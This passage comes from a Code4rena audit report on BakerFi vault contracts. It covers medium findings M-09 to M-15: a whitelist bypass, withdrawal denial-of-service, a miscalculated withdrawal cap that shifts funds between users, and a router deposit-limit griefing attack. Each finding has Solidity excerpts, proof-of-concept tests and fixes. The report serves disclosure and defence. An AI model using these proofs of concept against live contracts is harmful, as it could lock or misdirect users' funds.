action: ((uint256(uint8(1)) << 32) | uint256(Commands.PULL_TOKEN)),
data: abi.encode(WETH, 1 ether)
});
vaultRouter.execute{value: 3 ether}(commands);
}
}
Recommended mitigation steps
Use correct variable:
} else if (actionToExecute == Commands.PULL_TOKEN) {
chefkenji (BakerFi) confirmed
Status: Mitigation confirmed. Full details in reports from 0xlemon and shaflow2.
[M-09] Non-whitelisted recipient can receive shares
Submitted by 0xlemon, also found by 0xlemon and MrPotatoMagic
https://github.com/code-423n4/2024-12-bakerfi/blob/main/contracts/core/VaultBase.sol#L237-L271
Summary
The recipient of the vault shares isn’t checked to be in the whitelist. This means that a non-whitelisted user can receive shares and then withdraw/redeem them throught the VaultRouter
.
Vulnerability Details
If we look at VaultBase
deposit/mint/withdraw/redeem functions have a onlyWhiteListed
modifier that means they can only be called by someone who is within the _enabledAccounts
. However the protocol doesn’t check if the receiver
is included in that whitelist. This allows non-whitelisted people to receive shares and they can later easily withdraw them through the VaultRouter
.
Impact
Bypass of the whitelist
Recommended mitigation steps
Check if the receiver
of the vault shares is whitelisted
chefkenji (BakerFi) confirmed
Status: Mitigation confirmed. Full details in reports from shaflow2 and 0xlemon.
[M-10] The withdrawal of Multi strategies vault could be DoSed while asset deposits remain unaffected
Submitted by 0xpiken, also found by klau5
https://github.com/code-423n4/2024-12-bakerfi/blob/main/contracts/core/MultiStrategy.sol#L173
Finding description and impact
The MultiStrategy#_deallocateAssets()
function will be DoSed if IStrategy#undeploy(0)
is called.
Proof of Concept
When withdrawing user assets from a multi-strategies vault, it will be withdrawn pro-rata from the strategies base on their deployed assets: https://github.com/code-423n4/2024-12-bakerfi/blob/main/contracts/core/MultiStrategyVault.sol:
function _undeploy(uint256 assets) internal virtual override returns (uint256 undeployedAmount) {
undeployedAmount = _deallocateAssets(assets); // Deallocates assets from the strategies and returns the undeployed amount
}
https://github.com/code-423n4/2024-12-bakerfi/blob/main/contracts/core/MultiStrategy.sol:
function _deallocateAssets(uint256 amount) internal returns (uint256 totalUndeployed) {
uint256[] memory currentAssets = new uint256[](_strategies.length);
uint256 totalAssets = 0;
uint256 strategiesLength = _strategies.length;
for (uint256 i = 0; i < strategiesLength; i++) {
currentAssets[i] = IStrategy(_strategies[i]).totalAssets();
totalAssets += currentAssets[i];
}
totalUndeployed = 0;
for (uint256 i = 0; i < strategiesLength; i++) {
uint256 fractAmount = (amount * currentAssets[i]) / totalAssets;
totalUndeployed += IStrategy(_strategies[i]).undeploy(fractAmount);
}
}
If a strategy has not yet deployed any assets, its totalAssets()
call will return zero. Subsequently, the system will attempt to execute IStrategy.undeploy(0)
. However, this call is likely to revert, potentially leading to a denial-of-service condition for the entire withdrawal function:
StrategySupplyBase.sol reverts ZeroAmount()
when amount
is 0
:
function undeploy(uint256 amount) external nonReentrant onlyOwner returns (uint256 undeployedAmount) {
@> if (amount == 0) revert ZeroAmount();
// Get Balance
uint256 balance = getBalance();
if (amount > balance) revert InsufficientBalance();
// Transfer assets back to caller
uint256 withdrawalValue = _undeploy(amount);
// Check withdrawal value matches the initial amount
// Transfer assets to user
ERC20(_asset).safeTransfer(msg.sender, withdrawalValue);
balance -= amount;
emit StrategyUndeploy(msg.sender, withdrawalValue);
emit StrategyAmountUpdate(balance);
return amount;
}
StrategyLeverage.sol reverts NoCollateralMarginToScale()
because totalCollateralInDebt
is equal to totalDebtBalance
(both of them are 0
):
function undeploy(uint256 amount) external onlyOwner nonReentrant returns (uint256 undeployedAmount) {
undeployedAmount = _undeploy(amount, payable(msg.sender));
}
function _undeploy(uint256 amount, address receiver) private returns (uint256 receivedAmount) {
// Get price options from settings
IOracle.PriceOptions memory options = IOracle.PriceOptions({
maxAge: getPriceMaxAge(),
maxConf: getPriceMaxConf()
});
// Fetch collateral and debt balances
(uint256 totalCollateralBalance, uint256 totalDebtBalance) = getBalances();
uint256 totalCollateralInDebt = _toDebt(options, totalCollateralBalance, false);
// Ensure the position is not in liquidation state
@> if (totalCollateralInDebt <= totalDebtBalance) revert NoCollateralMarginToScale();
// Calculate percentage to burn to accommodate the withdrawal
uint256 percentageToBurn = (amount * PERCENTAGE_PRECISION) / (totalCollateralInDebt - totalDebtBalance);
// Calculate delta position (collateral and debt)
(uint256 deltaCollateralInDebt, uint256 deltaDebt) = _calcDeltaPosition(
percentageToBurn,
totalCollateralInDebt,
totalDebtBalance
);
// Convert deltaCollateralInDebt to deltaCollateralAmount
uint256 deltaCollateralAmount = _toCollateral(options, deltaCollateralInDebt, true);
// Calculate flash loan fee
uint256 fee = flashLender().flashFee(_debtToken, deltaDebt);
// Approve the flash lender to spend the debt amount plus fee
if (!IERC20Upgradeable(_debtToken).approve(flashLenderA(), deltaDebt + fee)) {
revert FailedToApproveAllowance();
}
// Prepare data for flash loan execution
bytes memory data = abi.encode(deltaCollateralAmount, receiver, FlashLoanAction.PAY_DEBT_WITHDRAW);
_flashLoanArgsHash = keccak256(abi.encodePacked(address(this), _debtToken, deltaDebt, data));
// Execute flash loan
if (!flashLender().flashLoan(IERC3156FlashBorrowerUpgradeable(this), _debtToken, deltaDebt, data)) {
_flashLoanArgsHash = 0;
revert FailedToRunFlashLoan();
}
// The amount of Withdrawn minus the repay ampunt
emit StrategyUndeploy(msg.sender, deltaCollateralInDebt - deltaDebt);
// Reset hash after successful flash loan
_flashLoanArgsHash = 0;
// Update deployed assets after withdrawal
receivedAmount = _pendingAmount;
uint256 undeployedAmount = deltaCollateralInDebt - deltaDebt;
_deployedAssets = _deployedAssets > undeployedAmount ? _deployedAssets - undeployedAmount : 0;
// Emit strategy update and reset pending amount
emit StrategyAmountUpdate(_deployedAssets);
// Pending amount is not cleared to save gas
//_pendingAmount = 0;
}
Copy below codes to VaultMultiStrategy.ts and run npm run test
:
it.only('Withdraw is DoSed', async () => {
const { vault, usdc, owner, park1, park2 } = await loadFixture(deployMultiStrategyVaultFixture);
const amount = 10000n * 10n ** 18n;
await usdc.approve(vault.target, amount);
await vault.deposit(amount, owner.address);
//@audit-info deploy a erc4626 vault for StrategySupplyERC4626
const ERC4626Vault = await ethers.getContractFactory("ERC4626VaultMock");
const erc4626Vault = await ERC4626Vault.deploy(usdc.getAddress());
await erc4626Vault.waitForDeployment();
// Deploy StrategySupply contract
const StrategySupply = await ethers.getContractFactory('StrategySupplyERC4626');
const strategy = await StrategySupply.deploy(
owner.address,
await usdc.getAddress(),
await erc4626Vault.getAddress(),
);
await strategy.waitForDeployment();
await strategy.transferOwnership(await vault.getAddress());
//@audit-info add the new strategy to vault
await vault.addStrategy(await strategy.getAddress());
//@audit-info the new strategy has been added
expect(await vault.strategies()).to.include(await strategy.getAddress());
//@audit-info withdrawal is DoSed
await expect(vault.withdraw(amount, owner.address, owner.address)).to.be.revertedWithCustomError(
strategy,
'ZeroAmount',
);
});
Recommended mitigation steps
Check if the amount is 0
before undeploying it:
function _deallocateAssets(uint256 amount) internal returns (uint256 totalUndeployed) {
uint256[] memory currentAssets = new uint256[](_strategies.length);
uint256 totalAssets = 0;
uint256 strategiesLength = _strategies.length;
for (uint256 i = 0; i < strategiesLength; i++) {
currentAssets[i] = IStrategy(_strategies[i]).totalAssets();
totalAssets += currentAssets[i];
}
totalUndeployed = 0;
for (uint256 i = 0; i < strategiesLength; i++) {
uint256 fractAmount = (amount * currentAssets[i]) / totalAssets;
+ if (fractAmount == 0) continue;
totalUndeployed += IStrategy(_strategies[i]).undeploy(fractAmount);
}
}
chefkenji (BakerFi) confirmed
MrPotatoMagic (warden) commented:
There is no DOS issue here. The
VAULT_MANAGER
can simply remove the strategy in that case. Having a strategy without any assets deposited means the strategy is unused and should be removed.
VAULT_MANAGER
may add a new strategy with no assets allocated yet. All withdrawals since then will be DoS’ed.
MrPotatoMagic (warden) commented:
add a new strategy with no assets allocated yet.
- You’ve added it to allow users to deposit. I do not see this being any more than Low/Info finding. The availability of the protocol is only impacted till the time you deposit assets into the new strategy.
First and foremost: this was confirmed by the sponsor. Let’s now discuss about the severity.
The availability of the protocol is only impacted till the time you deposit assets into the new strategy.
The protocol’s availability and functionality is indeed impacted unexpectedly. But there exist a workaround for this not to be permanent. Still, users’ assets can be affected quite badly (all withdrawals). This is an edge case, but it indeed qualifies as a Medium.
Status: Mitigation confirmed. Full details in reports from 0xlemon and shaflow2.
[M-11] The calculation of assetsMax
is incorrect.
Submitted by shaflow2
Finding description and impact
In the _undeploy
function, assetsMax
is incorrectly calculated because the contract directly retrieves totalSupplyAssets
and totalSupplyShares
from _morpho
storage without accounting for the accrued interest over time. This leads to an underestimation of assetsMax
, which may allow users to withdraw more assets than they should, causing losses to other users.
Proof of Concept
/// @notice Retrieves the current balance of the managed asset in the Morpho protocol.
/// @return The current balance of the managed asset.
function _getBalance() internal view override returns (uint256) {
return _morpho.expectedSupplyAssets(_marketParams, address(this));
}
In the StrategySupplyMorpho contract, when retrieving assets, the expectedSupplyAssets
function is used, which considers accrued interest and fees from the elapsed time since the last update. This ensures that the withdraw and redeem functions calculate assets, including unaccounted interest.
function _undeploy(uint256 amount) internal override returns (uint256) {
Id id = _marketParams.id();
uint256 assetsWithdrawn = 0;
uint256 totalSupplyAssets = _morpho.totalSupplyAssets(id);
uint256 totalSupplyShares = _morpho.totalSupplyShares(id);
uint256 shares = _morpho.supplyShares(id, address(this));
uint256 assetsMax = shares.toAssetsDown(totalSupplyAssets, totalSupplyShares);
if (amount >= assetsMax) {
(assetsWithdrawn, ) = _morpho.withdraw(_marketParams, 0, shares, address(this), address(this));
} else {
(assetsWithdrawn, ) = _morpho.withdraw(_marketParams, amount, 0, address(this), address(this));
}
return assetsWithdrawn;
}
However, in the _undeploy
function, the calculation of assetsMax
does not account for the accrued interest and fees over time. This may result in assetsMax
being underestimated compared to its actual value. On the other hand, the amount
parameter includes accrued interest and fees, which can lead to the function entering the wrong branch.
If the function mistakenly enters the second branch, it may incorrectly convert all _morpho shares in the strategy to assets and send them to the withdrawer. In this case, the strategy’s assets will be 0, but the vault shares will still remain in the vault.
The remaining shareholders in the vault will not be able to normally claim assets.
Example:
- Initial Deposits:
user1
deposits1e16
assets into the vault and receives1e16
shares.user2
deposits1e20
assets and receives1e20
shares. - Interest Accumulation:
After some time, the_morpho
strategy generates interest. The vault’stotalAssets()
now returns1e20 + 1e16 + 1e17
assets. -
Redeem by user2:
user2
decides to redeem all their shares. When calculatingwithdrawAmount = (shares * totalAssets()) / totalSupply()
,totalAssets()
includes the interest. The calculatedwithdrawAmount
is passed to the_undeploy
function. In_undeploy
, the maximum amount of assets that can be converted from the current_morpho
shares (assetsMax
) is calculated. However, since the calculation ofassetsMax
does not account for the interest,assetsMax < withdrawAmount
.As a result, the strategy withdraws all
_morpho
shares, converts them into assets, and sends them touser2
. This meansuser2
inadvertently receives both their own principal and interest as well asuser1
’s principal and interest. - Abnormal State:
Now, the strategy holds no_morpho
shares, sototalAssets()
returns0
. However, the vault still hasuser1
’s1e16
shares. This creates an abnormal state in the vault.
Recommended mitigation steps
When calculating assetsMax
, consider the accrued interest and fees that have not been updated.
function _undeploy(uint256 amount) internal override returns (uint256) {
Id id = _marketParams.id();
uint256 assetsWithdrawn = 0;
- uint256 totalSupplyAssets = _morpho.totalSupplyAssets(id);
- uint256 totalSupplyShares = _morpho.totalSupplyShares(id);
- uint256 shares = _morpho.supplyShares(id, address(this));
- uint256 assetsMax = shares.toAssetsDown(totalSupplyAssets, totalSupplyShares);
+ uint256 assetsMax = _morpho.expectedSupplyAssets(_marketParams, address(this));
if (amount >= assetsMax) {
(assetsWithdrawn, ) = _morpho.withdraw(_marketParams, 0, shares, address(this), address(this));
} else {
(assetsWithdrawn, ) = _morpho.withdraw(_marketParams, amount, 0, address(this), address(this));
}
return assetsWithdrawn;
}
chefkenji (BakerFi) confirmed
Status: Mitigation confirmed. Full details in reports from 0xlemon and shaflow2.
[M-12] Cannot withdraw tokens from all strategies in MultiStrategyVault when one third party is paused
Submitted by klau5
Finding description and impact
When even one third party integrated with MultiStrategyVault is paused, withdrawals become impossible from all Strategies. There is no way to remove the paused third party (Strategy).
Proof of Concept
Third parties integrated with this project can be paused according to their circumstances. For example, when the AAVE V3 pool is paused, transactions attempting deposits or withdrawals from this pool will revert (reference). The audit scope explicitly states that third party pausability is included.
While it makes sense for a single strategy vault to be paused when an integrated third party is paused, a multi strategy vault should not halt operations with other third parties just because one is paused. This is because funds invested in other strategies could be put at risk due to a single third party.
Therefore, there needs to be a way to temporarily exclude paused third parties (Strategies). Without this ability, transactions will revert because it attempts deposits/withdrawals from the paused third party.
- For deposits, the weight of the strategy linked to that third party can be temporarily set to 0 to exclude it from deposit targets.
- However, for withdrawals, it attempts to withdraw based on the percentage of
totalAssets
deposited, not weight, so even if weight is 0, it attempts to withdraw to the paused third party. This transaction will be reverted, so the user will not be able to withdraw. - Since withdrawals are impossible, asset reallocation through
rebalance
is also impossible. - Attempting to remove the strategy connected to that third party using
removeStrategy
will try to withdraw asset tokens for redistribution to other strategies. This will revert, making it impossible to remove the problematic strategy.
In other words, while a paused third party can be excluded from deposits, it cannot be excluded from withdrawals. If that third party’s pool becomes permanently paused, all tokens deposited in the MultiStrategyVault
will be permanently locked.
function _allocateAssets(uint256 amount) internal returns (uint256 totalDeployed) {
totalDeployed = 0;
for (uint256 i = 0; i < _strategies.length; ) {
@> uint256 fractAmount = (amount * _weights[i]) / _totalWeight;
if (fractAmount > 0) {
@> totalDeployed += IStrategy(_strategies[i]).deploy(fractAmount);
}
unchecked {
i++;
}
}
}
function _deallocateAssets(uint256 amount) internal returns (uint256 totalUndeployed) {
uint256[] memory currentAssets = new uint256[](_strategies.length);
uint256 totalAssets = 0;
uint256 strategiesLength = _strategies.length;
for (uint256 i = 0; i < strategiesLength; i++) {
@> currentAssets[i] = IStrategy(_strategies[i]).totalAssets();
totalAssets += currentAssets[i];
}
totalUndeployed = 0;
for (uint256 i = 0; i < strategiesLength; i++) {
@> uint256 fractAmount = (amount * currentAssets[i]) / totalAssets;
@> totalUndeployed += IStrategy(_strategies[i]).undeploy(fractAmount);
}
}
function _rebalanceStrategies(uint256[] memory indexes, int256[] memory deltas) internal {
...
// Iterate through each strategy to adjust allocations
for (uint256 i = 0; i < totalStrategies; i++) {
// if the delta is 0, we don't need to rebalance the strategy
if (deltas[i] == 0) continue;
// if the delta is positive, we need to deploy the strategy
if (deltas[i] > 0) {
uint256 balanceOf = IERC20(_strategies[indexes[i]].asset()).balanceOf(address(this));
uint256 amount = uint256(deltas[i]) > balanceOf ? balanceOf : uint256(deltas[i]);
IStrategy(_strategies[indexes[i]]).deploy(amount);
// if the delta is negative, we need to undeploy the strategy
} else if (deltas[i] < 0) {
@> IStrategy(_strategies[indexes[i]]).undeploy(uint256(-deltas[i]));
}
}
...
}
function removeStrategy(uint256 index) external onlyRole(VAULT_MANAGER_ROLE) {
...
// If the strategy has assets, undeploy them and allocate accordingly
@> if (strategyAssets > 0) {
@> IStrategy(_strategies[index]).undeploy(strategyAssets);
_allocateAssets(strategyAssets);
}
...
}
Recommended Mitigation Steps
We need a way to exclude third parties (Strategies) from withdrawals if they are unavailable. We need to be able to exclude a strategy without making a withdrawal request.
chefkenji (BakerFi) acknowledged
[M-13] The Vault Manager is unable to delete the last strategy from MultiStrategyVault
Submitted by pfapostol
The removeStrategy
function in the MultiStrategy
contract allows the removal of a strategy and redistributes the withdrawn funds among the remaining strategies.
-
if (strategyAssets > 0) { IStrategy(_strategies[index]).undeploy(strategyAssets); _allocateAssets(strategyAssets); }
The issue arises when the last strategy is removed. The weight (_weights[index]
) of the last strategy is first subtracted from _totalWeight
, which results in _totalWeight
being zero, and it is then set to zero.
-
_totalWeight -= _weights[index]; _weights[index] = 0;
Later, when _allocateAssets
is called: for each of the active _strategies
(the last strategy has not yet been removed), it attempts to calculate the fraction of the input amount. However, since _totalWeight
is zero, the execution is reverted with a “panic: division or modulo by zero” error.
-
function _allocateAssets(uint256 amount) internal returns (uint256 totalDeployed) { totalDeployed = 0; for (uint256 i = 0; i < _strategies.length; ) { uint256 fractAmount = (amount * _weights[i]) / _totalWeight; if (fractAmount > 0) { totalDeployed += IStrategy(_strategies[i]).deploy(fractAmount); } unchecked { i++; } } }
Impact
The VAULT_MANAGER_ROLE
would be unable to delete the last strategy.
Proof of Concept
This PoC follows these steps:
- Deploy the
StrategyUniV3SwapAnd
strategy (or any other strategy) and initialize theMultiStrategyVault
with this strategy to emulate the state where only one strategy remains in the vault. - Deposit a certain amount into the vault.
- The
VAULT_MANAGER_ROLE
, in this case the same person as theDEPLOYER
, attempts to remove the strategy.
However, the execution fails with:
│ ├─ [109194] MultiStrategyVault::removeStrategy(0) [delegatecall]
...
│ │ └─ ← [Revert] panic: division or modulo by zero (0x12)
│ └─ ← [Revert] panic: division or modulo by zero (0x12)
// SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.24;
import {Test} from "lib/forge-std/src/Test.sol";
import {console} from "lib/forge-std/src/console.sol";
import {MockERC20} from "lib/forge-std/src/mocks/MockERC20.sol";
import {Command} from "contracts/core/MultiCommand.sol";
import {MultiStrategy} from "contracts/core/MultiStrategy.sol";
import {MultiStrategyVault} from "contracts/core/MultiStrategyVault.sol";
import {BakerFiProxy} from "contracts/proxy/BakerFiProxy.sol";
import {BakerFiProxyAdmin} from "contracts/proxy/BakerFiProxyAdmin.sol";
import {StrategyUniV3SwapAnd} from "contracts/core/strategies/StrategyUniV3SwapAnd.sol";
import {OracleMock} from "contracts/mocks/OracleMock.sol";
import {UniV3RouterMock} from "contracts/mocks/UniV3RouterMock.sol";
import {StrategyPark} from "contracts/core/strategies/StrategyPark.sol";
import {IStrategy} from "contracts/interfaces/core/IStrategy.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {UseUnifiedSwapper} from "contracts/core/hooks/swappers/UseUnifiedSwapper.sol";
contract PoCs is Test {
address immutable DEPLOYER = makeAddr("DEPLOYER");
address immutable USER1 = makeAddr("USER1");
address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address constant WstETH = 0x7f39C581F595B53c5cb19bD0b3f8dA6c935E2Ca0;
function setUp() public {
vm.label(WETH, "WETH");
vm.label(WstETH, "WstETH");
vm.createSelectFork("https://rpc.ankr.com/eth");
}
function test_removeStrategy_last_not_removed() public {
vm.startPrank(DEPLOYER);
address bakerFiProxyAdmin = address(new BakerFiProxyAdmin(DEPLOYER));
// @note strategy deployment logic from test/core/strategies/StrategyUniV3SwapPark.ts
uint256 WETH_SUPPLY = 100000 ether;
deal(address(WETH), DEPLOYER, WETH_SUPPLY);
uint256 WstETH_SUPPLY = 30000000 ether;
deal(address(WstETH), DEPLOYER, WstETH_SUPPLY);
OracleMock mockOracle = new OracleMock();
mockOracle.setDecimals(18);
mockOracle.setLatestPrice(1e16);
UniV3RouterMock mockUniV3 = new UniV3RouterMock(
IERC20(address(WETH)),
IERC20(address(WstETH))
);
MockERC20(WETH).transfer(address(mockUniV3), WETH_SUPPLY);
MockERC20(WstETH).transfer(address(mockUniV3), WstETH_SUPPLY);
mockUniV3.setPrice(1e11);
StrategyPark strategyPark = new StrategyPark(DEPLOYER, address(WstETH));
StrategyUniV3SwapAnd strategyUniV3SwapAnd = new StrategyUniV3SwapAnd(
DEPLOYER,
IERC20(address(WETH)),
strategyPark,
mockOracle,
mockUniV3,
3000
);
strategyPark.transferOwnership(address(strategyUniV3SwapAnd));
vm.label(address(strategyUniV3SwapAnd), "StrategyUniV3SwapAnd");
// @note End of strategy deployment
strategyUniV3SwapAnd.setMaxSlippage(1e8 /* 10% */);
address impl = address(new MultiStrategyVault());
IStrategy[] memory istrategies = new IStrategy[](1);
istrategies[0] = strategyUniV3SwapAnd;
uint16[] memory iweights = new uint16[](1);
iweights[0] = 100;
MultiStrategyVault msVault = MultiStrategyVault(
payable(
address(
new BakerFiProxy(
impl,
bakerFiProxyAdmin,
abi.encodeWithSelector(
MultiStrategyVault.initialize.selector,
DEPLOYER,
"AuditPoC",
"APC",
WETH,
istrategies,
iweights,
WETH
)
)
)
)
);
vm.startPrank(DEPLOYER);
deal(address(WETH), DEPLOYER, 10 ether);
MockERC20(WETH).approve(address(msVault), 10 ether);
msVault.deposit(10 ether, DEPLOYER);
msVault.removeStrategy(0);
}
}
Recommended Mitigation Steps
There are several ways to improve the code to fix the issue (such as adding a check for zero, etc.). However, the most straightforward and direct approach is to remove the strategy from _strategies
before calling _allocateAssets
:
function removeStrategy(
uint256 index
) external onlyRole(VAULT_MANAGER_ROLE) {
// Validate the index to ensure it is within bounds
if (index >= _strategies.length) revert InvalidStrategyIndex(index);
// Retrieve the total assets managed by the strategy to be removed
uint256 strategyAssets = _strategies[index].totalAssets();
// Update the total weight and mark the weight of the removed strategy as zero
_totalWeight -= _weights[index];
_weights[index] = 0;
IStrategy cache_strategy = _strategies[index];
// Move the last strategy to the index of the removed strategy to maintain array integrity
uint256 lastIndex = _strategies.length - 1;
if (index < lastIndex) {
_strategies[index] = _strategies[lastIndex];
_weights[index] = _weights[lastIndex];
}
emit RemoveStrategy(address(_strategies[lastIndex]));
// Remove the last strategy and weight from the arrays
_strategies.pop();
_weights.pop();
// If the strategy has assets, undeploy them and allocate accordingly
if (strategyAssets > 0) {
IStrategy(cache_strategy).undeploy(strategyAssets);
_allocateAssets(strategyAssets);
}
}3
chefkenji (BakerFi) confirmed
The last strategy should not be allowed to be removed since
MultiStrategyVault
allocates assets accordingly to its strategies. Removing the last strategy will leads DoS onMultiStrategyVault
. The worse is that no user can withdraw their assets since_deallocateAssets()
will returntotalUndeployed
as0
.
Yes, but that sounds more like a second problem, unrelated to this one. The order of operations in the function is clearly incorrect.
Per the sponsor:
I understand both points but for me is an issue because it leaves the vault on a weird state (funds are waiting for a rebalance) that could only be unlocked by the vault manager with a rebalance
This finding is still valid.
Status: Mitigation confirmed. Full details in reports from shaflow2 and 0xlemon.
[M-14] The StrategySupplyMorpho
allow to use wrong token in _asset
Submitted by pfapostol
The StrategySupplyMorpho
is designed to supply tokens to a specific market in MorphoBlue. To achieve this, it defines a _marketParams
structure that stores all the necessary information for the target market, including loanToken
, which is transferred from the strategy during the IMorpho.supply
call.
However, the strategy also allows the deployer to specify a different token via the _asset
variable. This token is used to pull tokens from users during deposits and transfer tokens to users during withdrawals.
It is unclear whether this behavior is intended by design (e.g., treating _asset
as a “collateral” token) or if _asset
is always meant to be the same as loanToken
in _marketParams
. Regardless, the protocol will not function if _asset
is different from loanToken
.
The main issue is that the _asset
variable is used to approve MorphoBlue:
constructor(
address initialOwner,
address asset_,
address morphoBlue,
Id morphoMarketId
) StrategySupplyBase(initialOwner, asset_) {
...
if (!ERC20(asset_).approve(morphoBlue, type(uint256).max)) {
constructor(address initialOwner, address asset_) ReentrancyGuard() Ownable() {
...
_asset = asset_;
But later, in the _deploy
call, the loanToken
is used to supply
to a Morpho position:
function _deploy(uint256 amount) internal override returns (uint256) {
(uint256 deployedAmount, ) = _morpho.supply(_marketParams, amount, 0, address(this), hex"");
function supply(
MarketParams memory marketParams,
uint256 assets,
uint256 shares,
address onBehalf,
bytes calldata data
) external returns (uint256, uint256) {
...
IERC20(marketParams.loanToken).safeTransferFrom(msg.sender, address(this), assets);
Impact
If these two tokens are different, the strategy will be unusable. Even if the design intends for _asset
to act as collateral for loanToken
s supplied externally (e.g., an initial supply), the protocol will still fail due to the absence of allowance for loanToken
in the Morpho market.
Proof of Concept
This PoC demonstrates the following:
-
Create two strategies:
- One in a healthy state.
- Another broken due to token mismatch.
- Approve the
_asset
token (in this case, WETH) for both strategies. -
Call
deploy
on both strategies:- The first strategy succeeds because the token pulled from the user and supplied to Morpho is the same.
-
The second strategy fails because, although WETH is pulled from the user, Morpho does not have allowance for USDC.
├─ [101109] StrategySupplyMorpho_Broken::deploy(10000000000000000000 [1e19]) ... │ │ │ │ ├─ [26048] WETH::transferFrom(DEPLOYER: [0x3A383B39c10856a75B9E3f6eda6fCC8fC3334050], StrategySupplyMorpho_Broken: [0x2e234DAe75C793f67A35089C9d99245E1C58470b], 10000000000000000000 [1e19]) │ │ │ │ │ ├─ emit Transfer(from: DEPLOYER: [0x3A383B39c10856a75B9E3f6eda6fCC8fC3334050], to: StrategySupplyMorpho_Broken: [0x2e234DAe75C793f67A35089C9d99245E1C58470b], value: 10000000000000000000 [1e19]) ... │ ├─ [71962] 0xBBBBBbbBBb9cC5e90e3b3Af64bdAF62C37EEFFCb::supply(MarketParams({ loanToken: 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48, collateralToken: 0x14d60E7FDC0D71d8611742720E4C50E7a974020c, oracle: 0x68066D2891254F1F3285Cac0bB16B65B28EE3cAb, irm: 0x870aC11D48B15DB9a138Cf899d20F13F79Ba00BC, lltv: 915000000000000000 [9.15e17] }), 10000000000000000000 [1e19], 0, StrategySupplyMorpho_Broken: [0x2e234DAe75C793f67A35089C9d99245E1C58470b], 0x) ... │ │ ├─ [8384] USDC::transferFrom(StrategySupplyMorpho_Broken: [0x2e234DAe75C793f67A35089C9d99245E1C58470b], 0xBBBBBbbBBb9cC5e90e3b3Af64bdAF62C37EEFFCb, 10000000000000000000 [1e19]) │ │ │ ├─ [7573] 0x43506849D7C04F9138D1A2050bbF3A0c054402dd::transferFrom(StrategySupplyMorpho_Broken: [0x2e234DAe75C793f67A35089C9d99245E1C58470b], 0xBBBBBbbBBb9cC5e90e3b3Af64bdAF62C37EEFFCb, 10000000000000000000 [1e19]) [delegatecall] │ │ │ │ └─ ← [Revert] revert: ERC20: transfer amount exceeds allowance │ │ │ └─ ← [Revert] revert: ERC20: transfer amount exceeds allowance
// SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.24;
import {Test} from "lib/forge-std/src/Test.sol";
import {console} from "lib/forge-std/src/console.sol";
import {MockERC20} from "lib/forge-std/src/mocks/MockERC20.sol";
import {StrategySupplyMorpho, StrategySupplyBase} from "contracts/core/strategies/StrategySupplyMorpho.sol";
import {IMorpho, Id} from "node_modules/@morpho-org/morpho-blue/src/interfaces/IMorpho.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract PoCs is Test {
address immutable DEPLOYER = makeAddr("DEPLOYER");
address immutable USER1 = makeAddr("USER1");
address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address constant WstETH = 0x7f39C581F595B53c5cb19bD0b3f8dA6c935E2Ca0;
address constant USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
address constant MORPHO_BLUE = 0xBBBBBbbBBb9cC5e90e3b3Af64bdAF62C37EEFFCb;
Id constant USCC_USDC_MARKET =
Id.wrap(
bytes32(
0x1a9ccaca2dba9469cd9cba3d077466761b05f465c412d2bf2c71614c4963dd84
)
);
Id constant wstETH_WETH_MARKET =
Id.wrap(
bytes32(
0xb8fc70e82bc5bb53e773626fcc6a23f7eefa036918d7ef216ecfb1950a94a85e
)
);
function setUp() public {
vm.label(WETH, "WETH");
vm.label(WstETH, "WstETH");
vm.createSelectFork("https://rpc.ankr.com/eth");
}
function test_wrong_token_for_market() public {
StrategySupplyMorpho _strategy_normal = new StrategySupplyMorpho(
DEPLOYER,
WETH,
MORPHO_BLUE,
wstETH_WETH_MARKET
);
StrategySupplyMorpho _strategy_broken = new StrategySupplyMorpho(
DEPLOYER,
WETH,
MORPHO_BLUE,
USCC_USDC_MARKET
);
vm.label(address(_strategy_normal), "StrategySupplyMorpho_Normal");
vm.label(address(_strategy_broken), "StrategySupplyMorpho_Broken");
vm.label(USDC, "USDC");
vm.startPrank(DEPLOYER);
deal(WETH, DEPLOYER, 20 ether);
deal(USDC, address(_strategy_broken), 1000 ether);
IERC20(WETH).approve(address(_strategy_normal), 10 ether);
IERC20(WETH).approve(address(_strategy_broken), 10 ether);
_strategy_normal.deploy(10 ether);
_strategy_broken.deploy(10 ether);
}
}
Recommended mitigation steps
In the constructor, either:
- Set the
_asset
token to match theloanToken
fromMarketParams
:
_marketParams = _morpho.idToMarketParams(morphoMarketId);
_asset = _marketParams.loanToken;
// Allowance approval
if (!ERC20(_marketParams.loanToken).approve(morphoBlue, type(uint256).max)) {
revert FailedToApproveAllowanceForMorpho();
}
- Validate that
_asset
matches theloanToken
:
if (asset_ != _marketParams.loanToken) revert();
chefkenji (BakerFi) confirmed
Status: Mitigation confirmed. Full details in reports from 0xlemon and shaflow2.
[M-15] VaultRouter
cannot be used for deposits when it reaches the maximum deposit limit
Submitted by 0xlemon
https://github.com/code-423n4/2024-12-bakerfi/blob/main/contracts/core/VaultBase.sol#L251
https://github.com/code-423n4/2024-12-bakerfi/blob/main/contracts/core/VaultRouter.sol#L116
Summary
VaultRouter
cannot be used for deposits when it reaches the maximum deposit limit because this contract is the msg.sender
to the vault and it is treated as a depositor who has a limit.
Vulnerability Details
When doing deposits to a vault from the VaultRouter
the router does an external call to the vault meaning that in Vault’s case msg.sender
will be the router itself. The protocol, however, enforces a max deposit limit for depositors. This means that after the VaultRouter
reaches the vault’s getMaxDeposit()
no one will be able to deposit to the vault using the router.
Since the vault looks at balanceOf(msg.sender)
for the deposit limit, an attacker can use the router to deposit to the vault specifying the recipient to be the router itself and then immediately withdrawing in the same transaction so that his tokens won’t be stolen. He can do that to reach VaultRouter
deposit limit and now no one will be able to deposit through the router.
function _depositInternal(uint256 assets, address receiver) private returns (uint256 shares) {
//...
// Check if deposit exceeds the maximum allowed per wallet
uint256 maxDepositLocal = getMaxDeposit();
if (maxDepositLocal > 0) {
@-> uint256 depositInAssets = (balanceOf(msg.sender) * _ONE) / tokenPerAsset();
uint256 newBalance = assets + depositInAssets;
if (newBalance > maxDepositLocal) revert MaxDepositReached();
}
//...
}
Impact
DoS of the router’s deposit functionality
Recommended mitigation steps
